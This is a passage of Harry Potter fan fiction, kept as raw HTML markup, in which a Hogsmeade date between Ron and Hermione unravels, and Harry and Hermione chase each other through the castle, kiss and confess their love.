butterbeer that\nMadam Rosmerta set in front of him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Doesn&#8217;t\neveryone?&#8221; Hermione asked, sipping her own butterbeer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, I\nsuppose.&#8221; Ron said. &#8220;What do you two like to do together?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nshrugged. &#8220;I don&#8217;t know&#8230; we often do our homework together, over the summer\nwhen I stay with her, anything is game I guess.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Cool.&#8221; Ron sat\nback again. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why are you so\ninterested in Blaise?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Um&#8230;&#8221; Ron&#8217;s face\nturned pink. &#8220;I&#8217;m just&#8230; curious.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione regarded\nhim skeptically. &#8220;You seem awfully interested in her to be just plain curious.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Err&#8230;&#8221; Ron\nrealised too late that he&#8217;d dug himself in a hole. &#8220;I&#8217;ve never been known for\nmy subtlety.&#8221; He offered, trying to flash her a grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione didn&#8217;t\nsmile. &#8220;It figures.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Ron at\nleast had the decency to look embarrassed now.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;One of the only\ntimes I get asked out, and he&#8217;s only interested in my best friend.&#8221; Hermione\nmuttered miserably.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron felt terrible\nnow, he figured she had lots of dates, she was certainly cute enough. &#8220;Look,\nI&#8217;m sorry.&#8221; He reached over and put a hand on hers. &#8220;I didn&#8217;t ask you out JUST\nto find out about Blaise.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure you\ndidn&#8217;t.&#8221; Hermione snorted. He thought she was going to get up and storm out,\nwhen all of a sudden she began to laugh, almost hysterically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s so\nfunny?&#8221; Ron asked, starting to laugh as well although he didn&#8217;t know why. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8230; you asked\nme out&#8230; to find out about Blaise&#8230;&#8221; Hermione&#8217;s eyes were watering as she waved\nher hand in front of her face. &#8220;I agreed to go out with you&#8230; to make Harry\nPotter jealous!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Now it\nwas Ron&#8217;s turn to gape. &#8220;You&#8217;re just trying to make Harry jealous?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry!&#8221;\nHermione tried to calm down by taking several deep breaths. &#8220;But that makes us\neven doesn&#8217;t it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron&#8217;s mouth\ntwitched. &#8220;It does.&#8221; He began to laugh again and so did she.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t get\nwhat&#8217;s so funny.&#8221; Harry whispered to Blaise from across the room where they\nwere hidden behind two menus.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me either.&#8221;\nBlaise replied, peering over at them. Ron was positively howling, while\nHermione was sitting back and clutching her stomach. She looked at Harry. &#8220;You\ndon&#8217;t think they&#8217;re having THAT good a time together do you?&#8221; her tone was\nworried.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I hope not. I\nhope he&#8217;s just said something stupid is all.&#8221; Harry said. He bit his lower lip;\ncertainly Ron wasn&#8217;t so smooth that he could win her over in just a few hours.\n&#8220;I don&#8217;t feel like sitting here anymore. I think I&#8217;m going to go back to the\ncastle.&#8221; Harry felt like he was going to be violently ill. If he hadn&#8217;t known\nit before, he certainly did now. He was completely in love with Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think I&#8217;m\ngoing to stick around.&#8221; Blaise said. &#8220;Maybe I can get her to go back; I can try\nand distract Ron or something.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230; good\nluck.&#8221; Harry said, offering her a slight smile. Blaise looked up at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, we&#8217;ll all\nwork everything out.&#8221; She said, touching his arm lightly. &#8220;I don&#8217;t know what&#8217;s\ngoing on, but Hermione&#8217;s not the type to fall so quickly for another guy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry simply\nnodded and then left the restaurant. Blaise squared her shoulders, and then\nshook her reddish gold hair out of the ponytail she&#8217;d pulled it back in.\nAssuming a confident gait, she made her way over to Ron and Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I didn&#8217;t expect\nto see you two here!&#8221; she beamed, acting as if she&#8217;d just come into the place.\n&#8220;Mind if I sit down with you? I&#8217;m afraid I&#8217;m quite bored and could use some\ncompany.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230;uh&#8230;sure&#8230;&#8221; Ron\nstammered. Hermione had to bite back her giggles.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; Blaise\nsaid, sitting in the chair next to Ron and moving it closer. &#8220;I&#8217;ve been meaning\nto tell you what a spectacular win your team pulled last week in the Quidditch\nmatch.&#8221; She ran her hand along Ron&#8217;s arm and he gulped audibly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione caught\nBlaise&#8217;s eye and pressed her lips together in suppressed laughter. For once she\ndidn&#8217;t mind taking backseat to Blaise, hopefully this was making Ron&#8217;s day. &#8220;I\nthink I&#8217;m going to go back.&#8221; She said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Ron tore\nhis eyes from Blaise. &#8220;Hermione, you don&#8217;t have to go.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, it&#8217;s okay.&#8221;\nHermione felt good as she stood up. &#8220;You two have fun today.&#8221; She stood up and\nso did Blaise.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll be right\nback, now don&#8217;t you go anywhere.&#8221; Blaise teased Ron, who turned red to the tips\nof his ears. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh I won&#8217;t.&#8221; he\nsaid immediately. His eyes never left the two girls as they went a short\ndistance from the table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, go\nback up to the castle.&#8221; Blaise ordered as soon as they were out of earshot.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What, you take\nmy date and then you order me around?&#8221; Hermione put her hands on her hips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise gave\nHermione a look. &#8220;You don&#8217;t seem too upset over it. Besides, there&#8217;s someone\nelse heading back that you need to talk to.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If you mean\nHarry&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, I do, and I\nswear, if you don&#8217;t go talk to him I&#8217;m going to tell him about the bet.&#8221; Blaise\nthreatened.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You wouldn&#8217;t\ndare!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe, maybe\nnot.&#8221; Blaise gave Hermione a superior smile. &#8220;But if you go talk to him, you&#8217;ll\nnever have to find out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fine.&#8221; Hermione\nsaid. &#8220;Happy?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Very.&#8221; Blaise\ngrinned. &#8220;Now if you&#8217;ll excuse me, I have a cute little redhead waiting for me\nback at my table.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Go easy on him\nBlaise. This one actually likes you, so don&#8217;t break his heart too fast.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I have no\nintentions to.&#8221; Blaise whipped back around and sailed back to Ron, who looked\nlike he&#8217;d just won a lottery. Hermione shook her head and left, jumping into\none of the carriages taking students back to Hogwarts.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She turned and blinked\ndisbelievingly. &#8220;H &#8211; Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A hesitant but\nhappy smile crossed his lips. &#8220;I&#8217;m glad you&#8217;re here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nswallowed at the sight of that smile, the mere sight of his lips curving\nupwards was enough to send her into euphoria.&nbsp;\n&#8220;Oh.&#8221; Was all she could manage. She turned to see if she could jump from\nthe carriage but it was already moving, the doors locked until they got back to\nthe castle. Hermione was stuck with Harry, whether she liked it or not. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve wanted to\ntalk to you all week long.&#8221; Harry was taking his chance, especially since she\ncouldn&#8217;t leave the carriage.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s nice.&#8221;\nHermione said as coolly as possible. Being this close to him made her realise\nhow much she had missed his company.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I mean it,\nHermione. Seeing you with Ron makes me realise that I don&#8217;t like watching you\nwith other guys.&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m not your\ngirlfriend. I can see whoever I want.&#8221; Hermione stared back at him, almost\ndaring him to take on her cold words.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sighed.\n&#8220;You&#8217;re right, you&#8217;re not.&#8221; He paused for what seemed like ten minutes, and\nHermione thought he wasn&#8217;t going to talk anymore at all when he raised his head\nand then moved over so he was sitting on the seat next to her. &#8220;But I know we\nhave feelings for each other.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I did, but not\nanymore.&#8221; Hermione heard herself say, and she wanted to slap herself for\nsounding so horrid. &#8220;LIAR!&#8221; Her mind screamed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fine, so I could\nkiss you and you&#8217;d feel nothing then.&#8221; Harry leaned forward so his face was\ncloser to hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing.&#8221;\nHermione tried to keep her voice from trembling. &#8220;I wouldn&#8217;t feel anything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry didn&#8217;t\nrespond, not vocally. His desire for her had grown high since she had stepped\nin the carriage and now his senses were in overload, and he could think of one\nthing only. Kissing her. He brought his face down so it was a scant inch away\nfrom hers, needing badly to feel her soft lips against his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione had no\nidea how she was able to think clearly when Harry&#8217;s mouth was so near, she\nremembered too well how his lips had pressed on hers just a week before.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry?&#8221; she said\nas she felt the carriage come to a lurching stop.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; he\nanswered, his eyes half closed in anticipation.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If you want to\nkiss me, you&#8217;ll have to catch me!&#8221; Hermione, for once in her life, was graceful\nas she jumped down from the carriage and took off for the castle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stared open\nmouthed after her. Was that an invitation, he wasn&#8217;t sure what she was trying\nto imply. Hopping down, he gazed towards the castle in time to see her stop and\nlook straight back at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She did want him\nto chase her! Harry took off running and grinned as he heard her give off a\nshriek and charge into the castle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione ducked\nbehind a suit of armour, waiting for Harry to go past. She wasn&#8217;t exactly sure\nwhat she was hoping to accomplish by playing this, but it was more fun than\nshe&#8217;d had in a week.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s eyes\ndarted around the hallway, Hermione couldn&#8217;t have gone far, he&#8217;d still see her\nif she was heading to her common room. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione covered\nher mouth as she watched Harry look around the corridor for her. It was hard\nnot to laugh as he spun every which way, trying to see where she was. A small\ngiggle escaped her throat and Harry whipped around, looking straight at her\nhiding place.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Aha!&#8221; he shouted\nand Hermione screamed and darted from behind the armour, Harry hot on her\ntrail. They ran a path that led them through the Transfigurations corridor, by\nthe library, past the kitchens, and near the Great Hall. Harry had not counted\non Hermione being such a fast runner, and he was almost out of breath when he\nfelt his body put on a burst of speed, and he grabbed her by the arm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahhh!&#8221; Hermione\nshrieked, losing her balance as Harry pulled on her wrist. She fell forward,\nHarry toppling over her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ow!&#8221; he yelped,\nhis body landing heavily on her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uhhh Harry\nPotter you weigh a ton!&#8221; Hermione groaned. He felt bad and immediately rolled\noff her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry!&#8221; he\napologised. They sat up and stared at one another for a long moment, and Harry\nreached out and grabbed her wrist again. &#8220;So&#8230; I caught you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You caught me.&#8221;\nHermione answered softly. &#8220;What are you going to do with me?&#8221; her eyes betrayed\nher nervousness.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry didn&#8217;t\nanswer, just leaned forward and gently pressed his lips against hers. It was a\ngentle kiss, not necessarily full of passion but full of what Harry and\nHermione felt for one another. He pulled back, not far, just enough so that\ntheir lips weren&#8217;t touching and opened his eyes. She had just opened hers as\nwell; they had that sweet and dazed look in them, like she&#8217;d had when Harry had\nkissed her the first time in the rain.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on.&#8221; Harry\nmoved his hand down and took hers. &#8220;Let&#8217;s go outside and talk.&#8221; He laced their\nfingers together and pulled Hermione to her feet. They silently went down to\nthe main corridor and were outside seconds later, the warm spring breeze\ncaressing their faces. Walking across the grounds, closer to the lake, Harry\ncame to the realisation that he wasn&#8217;t sure where to begin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I thought you\nwanted to talk.&#8221; Hermione looked at him from the corner of her eye.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I do.&#8221; Harry\nstopped in his tracks and turned to her. &#8220;But first, I really, really want to&#8212;&#8221;\nhis last words were cut off because he had bent down and kissed her again. The\nkiss was anything but chaste this time, Harry immediately wrapped his arms\naround her waist, bringing her body tight against his. Hermione let out a\nsurprised squeal, which then turned into a delighted purr deep in her throat that\nmade Harry groan and press harder against her mouth. He gently touched his\ntongue to her closed lips and was rewarded immediately; she kissed him back as passionately\nas she could, sliding her arms up and around his neck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry moved one\nhand up and down her back, threading his fingers through her soft locks. Hermione\ncurved her body against him, sliding her nails through the hair at his nape. He\nshuddered and regretfully pulled his mouth away. Both sucked air into their\nlungs; Harry leaned forward and rested his forehead against hers, closing his\neyes again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who said you can\njust go and kiss me like that?&#8221; Hermione asked, her eyes closed as well. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me.&#8221; Harry\nanswered, grinning impishly. He bent down again and lightly kissed her again,\nletting his lips linger on hers for a moment or two. &#8220;I&#8217;ve wanted to do that\nfor a few weeks.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve wanted to\ndo that for a few years.&#8221; Hermione replied absently. Harry&#8217;s eyes opened wide\nand Hermione slapped a hand over her mouth, backing away from Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; he asked.\n&#8220;What did you say?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Noth&#8230; nothing.&#8221;\nHermione backed away even further, and then turned so that she was facing away\nfrom Harry. Hot tears stung her eyes, why had she said that, why?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione,\nyou&#8217;ve&#8230; had a crush on me for a few years?&#8221; Harry stepped up behind her and put\nhis hand on her shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;I uh&#8230;&#8221; Hermione\nbrushed away at a few stray tears. &#8220;You probably think I&#8217;m stupid for saying\nthat.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry turned her\naround and lifted her chin so that their eyes met. &#8220;I only wish you had said\nsomething sooner. We could have gotten to know each other ages ago.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221;\nHermione&#8217;s voice was small as she sniffed back her remaining tears.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;And I\'d\nhave fallen in love with you much sooner.&quot; Harry said softly, his green\neyes piercing into her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s mouth\ndropped open. Harry? In love with her? The world began to spin around her and\nHarry caught her. &#8220;You love me?&#8221; she managed weakly, fresh tears springing to\nher eyes. &#8220;Really?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah.&#8221; Harry\ngrinned down at her. &#8220;I do.&#8221; He laughed as Hermione threw her arms around his\nneck and began to sob into his shoulder. &#8220;What&#8217;s all this about?&#8221; he asked\nmoments later as she pulled away and wiped at her eyes. &#8220;I&#8217;d have thought you&#8217;d\nbe happy.&#8221; Harry teased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I am.&#8221; Hermione\nsniffed. &#8220;I just&#8230; I&#8217;ve wanted to hear that for a long time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gently used\nhis thumb to wipe away any remaining tears, and then kissed her softly. &#8220;Get\nused to hearing it, because I&#8217;m going to be saying that for a very, very long\ntime.&#8221; He pulled Hermione against him again, her arms wrapping tightly around\nhis neck. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you too.&#8221;\nHe heard her say, and upon hearing that, Harry swung her around, delighting in\nher happy squeal.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They walked all\nover the grounds that day, hands clasped tightly together, stopping every so\noften&#8230; well really, more like every few minutes, to kiss. Between snogs, Harry\nand Hermione managed to carry on a conversation about anything and everything.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;When did you\nstart liking me?&#8221; Harry asked as they walked past Hagrid&#8217;s hut.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Back in our\nfourth year,&#8221; Hermione was no longer bashful. &#8220;It might seem silly to you, but\nit meant a lot to me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What was it?&#8221;\nHarry was curious as he racked his brain trying to think of something he did\nwith her in fourth year.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230; do you\nremember that time, right around the beginning of the year, that group of\nHufflepuffs who went around causing trouble came up to me in the corridor after\nbreakfast and ripped my bag?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry bit his\nlower lip as he tried to remember. &#8220;And they smashed your ink bottles and broke\nall your quills&#8230;&#8221; he said slowly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes!&#8221; Hermione\nsaid. &#8220;And then, you helped me pick everything up&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And I gave you\nmy eagle feather quill to replace the broken ones.&#8221; Harry finished. &#8220;I can&#8217;t\nbelieve I forgot about that!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It meant a lot\nto me, especially since Blaise wasn&#8217;t there to help me.&#8221; Hermione replied. &#8220;I\nstill have that quill too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you really?&#8221;\nHarry asked, chuckling. He wrapped his arms around her shoulders and hugged her\ntightly to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My turn.&#8221;\nHermione giggled. &#8220;Let&#8217;s see&#8230;.&#8221; She stopped in her tracks and turned to face\nhim. &#8220;Why me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Harry\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why did you\ndecide on me?&#8221; Hermione asked. &#8220;What makes me so special?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gazed down\nat her, lifting one hand to softly caress her cheek. &#8220;Because, Hermione. You&#8217;re\nsmart, funny, and I think you&#8217;re gorgeous. You&#8217;re one of the only people that\nlikes me for me. All those other girls want me because of my fame. You don&#8217;t\ntreat me like a celebrity.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A small smile\nquirked at the corners of her mouth, &#8220;You&#8217;re just plain old Harry.&#8221; Hermione\nteased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Surely an avid\nreader such as yourself could come up with some better words than that.&#8221; Harry\nteased, wrapping his arms around her middle. &#8220;Magnificent, handsome, dashing&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I still like\nplain old Harry Potter.&#8221; Hermione grinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Plain.&#8221; Harry\ngave her an evil but at the same time charming grin. &#8220;You&#8217;d better RUN,\nGranger!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione let out\na scream and took off running, Harry hot on her heels. Their chase was\nreminiscent of the one earlier, except that he now knew just how fast she could\nrun and was able to catch her within just a few minutes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Plain!&#8221; he was\nmerciless as he tickled her sides. Hermione shouted in laughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Stop!&#8221; she\ncried. &#8220;Please! You&#8217;re not plain!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What am I then?&#8221;\nhe asked playfully, easing up a bit on his attack.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione took in\ngreat gulps of air. &#8220;You&#8217;re&#8230; you&#8217;re&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m what?&#8221; Harry\nheld up his hand threateningly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re&#8230; indescribable.&#8221;\nHermione said desperately. Harry fought down a wide grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That was good,\nGranger.&#8221; He leaned over, letting his mouth hover near hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione felt her\nbreath quicken as she saw Harry&#8217;s eyes darken. She tilted her head up and their\nlips met in a fiery, unbreakable kiss. Harry pushed her down so that she lay on\nher back on the ground, and he leaned over her, one hand tangling itself into\nher thick hair, the other gently cupping the side of her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nresponded happily and eagerly, delving her tongue into his mouth. He gave a\nsort of strangled moan, and in a rather bold move, ran his hand down the side\nof her body, aching to feel her curves in his palm. She gave a slight gasp into\nhis mouth, the feeling of his hand at first a shock, but she gave in almost\nimmediately, his touch something she had craved for a long time. Harry&#8217;s\nfingers came up under her shirt and touched her skin; Hermione was brought back\nto a dream of so long ago, where his touch had felt like silk.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s lips left\nhers and began to move down her neck, he suckled her skin lightly, not wanting\nto leave marks on her. Hermione fisted her hand in his hair, letting her head\nfall back, making her neck more accessible to him. His hand moved from her\nwaist to lightly cup her breast. Harry&#8217;s palm was still under her shirt, he\nvery nearly lost it when his fingers brushed against the lacy fabric of her\nbra. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;&#8221; Harry\nbreathlessly pulled his mouth from hers. &#8220;We should stop&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She sat up,\npulling down her shirt while the familiar blush made its way across her cheeks.\n&#8220;I&#8217;m sorry.&#8221; Hermione murmured.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&#8221; Harry\ntouched her cheek. &#8220;I just&#8230; I think if we keep going, we&#8217;ll do something that\nwe&#8217;re not ready for quite yet.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded,\nand looked up at him with a shy smile. &#8220;Okay.&#8221; He stood up and then reached\ndown, taking her hand securely in his. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Want to head\nback? I&#8217;m sure everyone&#8217;s gotten back from Hogsmeade by now.&#8221; He said as they\nbegan a leisurely walk to the castle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione felt a\nsurge of d&#233;j&#224; vu when Harry opened the doors for her; this felt just like the\nprevious week, they were only missing the rain. Harry must have been thinking\nalong the same lines, for her curved his arm around her waist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you hungry,\nwant to head over to the Great Hall?&#8221; He asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; Hermione\nanswered, leaning into him. Harry pressed his lips briefly to her temple and\nmoved his hand down so that it gripped hers tightly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you hear\nthat?&#8221; Harry asked, as they were nearing the Great Hall. Hermione cocked her\nhead to the side and listened intently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hear what?&#8221; she\nasked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It sounded\nlike&#8230;that!&#8221; Harry exclaimed, pointing towards an almost hidden door. &#8220;Whatever\nit was came from in there.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 